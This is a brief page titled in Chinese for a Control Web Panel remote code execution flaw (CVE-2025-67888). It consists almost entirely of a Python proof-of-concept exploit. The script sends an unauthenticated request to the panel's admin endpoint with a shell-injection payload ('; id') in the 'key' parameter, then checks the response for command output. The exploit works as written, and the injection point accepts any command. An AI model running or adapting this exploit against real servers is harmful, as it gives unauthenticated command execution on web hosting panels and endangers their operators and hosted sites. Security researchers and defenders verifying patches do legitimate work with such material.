CVE-2025-67888 Control Web Panel 远程代码执行漏洞

import requests # CVE-2025-67888 Proof of Concept # Target: Control Web Panel (CWP) < 0.9.8.1209 # Description: Unauthenticated RCE via 'key' parameter # Note: Requires Softaculous or SitePad to be installed target_url = "http://target-host:2030/admin/index.php" # The 'api' parameter must be set (value often depends on config, using generic '1' here) # The 'key' parameter contains the injection point # Payload: `; id` executes the 'id' command after the original command payload = "; id" params = { "api": "1", "key": payload } try: print("[*] Sending payload to %s" % target_url) response = requests.get(target_url, params=params, timeout=10) print("Status Code: %d" % response.status_code) print("Response Headers: %s" % response.headers) print("Response Body:\n%s" % response.text) # Basic check to see if command output (uid=) is in the response if "uid=" in response.text or "gid=" in response.text: print("[+] Command injection successful!") else: print("[-] Could not confirm command execution.") except Exception as e: print("[-] An error occurred: %s" % str(e))